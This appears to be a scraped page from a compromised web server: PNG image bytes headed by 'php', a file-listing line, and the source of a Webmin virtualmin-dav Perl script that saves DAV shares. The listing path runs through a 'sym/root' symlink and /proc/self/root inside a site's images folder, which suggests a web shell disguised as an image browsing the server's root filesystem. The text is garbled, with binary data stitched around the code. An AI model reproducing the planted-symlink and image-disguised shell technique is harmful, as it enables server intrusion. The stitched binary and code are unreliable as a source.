php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /var/www/html/sub/images/sym/root/proc/self/root/usr/libexec/webmin/virtualmin-dav/ |
| files >> //var/www/html/sub/images/sym/root/proc/self/root/usr/libexec/webmin/virtualmin-dav/save_share.cgi |
#!/usr/bin/perl
# Create, update or delete a DAV share
require './virtualmin-dav-lib.pl';
&ReadParse();
$in{'dom'} || &error($text{'index_edom'});
$d = &virtual_server::get_domain($in{'dom'});
$d || &error($text{'index_edom2'});
@shares = &list_dav_shares($d);
&error_setup($text{'share_err'});
&virtual_server::obtain_lock_web($d);
if (!$in{'new'}) {
($s) = grep { $_->{'dir'} eq $in{'dir'} } @shares;
$s || &error($text{'share_egone'});
}
else {
$s = { };
}
if ($in{'delete'}) {
# Just delete it
&delete_dav_share($d, $s);
}
else {
# Validate inputs
if ($in{'new'}) {
# Check for clash
($clash) = grep { $_->{'dir'} eq $in{'dir'} } @shares;
$clash && &error($text{'share_eclash'});
$in{'dir'} =~ /^\S+$/ && $in{'dir'} !~ /^\// ||
&error($text{'share_edir'});
$s->{'dir'} = $in{'dir'};
}
if (!$s->{'main'}) {
if ($in{'relpath_def'}) {
# Same dir under public_html
$s->{'samepath'} = 1;
$s->{'path'} = &virtual_server::public_html_dir($d).
"/".$in{'dir'};
}
else {
$in{'relpath'} =~ /^\S+$/ && $in{'relpath'} !~ /^\// ||
&error($text{'share_epath'});
$s->{'samepath'} = 0;
$s->{'path'} = $d->{'home'}.'/'.$in{'relpath'};
}
}
if (defined($in{'realm'})) {
$in{'realm'} =~ /\S/ || &error($text{'share_erealm'});
$s->{'realm'} = $in{'realm'};
}
else {
$s->{'realm'} ||= $d->{'dom'};
}
# Create the dir if needed
if (!-d $s->{'path'}) {
&virtual_server::make_dir_as_domain_user($d, $s->{'path'},
0755, 1);
my $web_user = &virtual_server::get_apache_user($d);
if ($web_user) {
&set_ownership_permissions($web_user, $d->{'gid'},
06775, $s->{'path'});
}
}
# Save allowed users
if ($in{'users_def'}) {
delete($s->{'users'});
}
else {
@users = split(/\r?\n/, $in{'users'});
@users || &error($text{'share_eusers'});
$s->{'users'} = \@users;
}
$s->{'rwusers'} = $s->{'users'};
# Save read-write users
# if ($in{'rwusers_def'}) {
# delete($s->{'rwusers'});
# }
# else {
# @rwusers = split(/\r?\n/, $in{'rwusers'});
# @rwusers || &error($text{'share_erwusers'});
# $s->{'rwusers'} = \@rwusers;
# }
# Create the Apache config
if ($in{'new'}) {
&create_dav_share($d, $s);
}
else {
&modify_dav_share($d, $s);
}
}
&virtual_server::set_all_null_print();
&virtual_server::run_post_actions();
&virtual_server::release_lock_web($d);
&webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify',
'share', $s->{'dir'}, { 'dom' => $d->{'dom'} });
&redirect("list_shares.cgi?dom=$in{'dom'}");
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`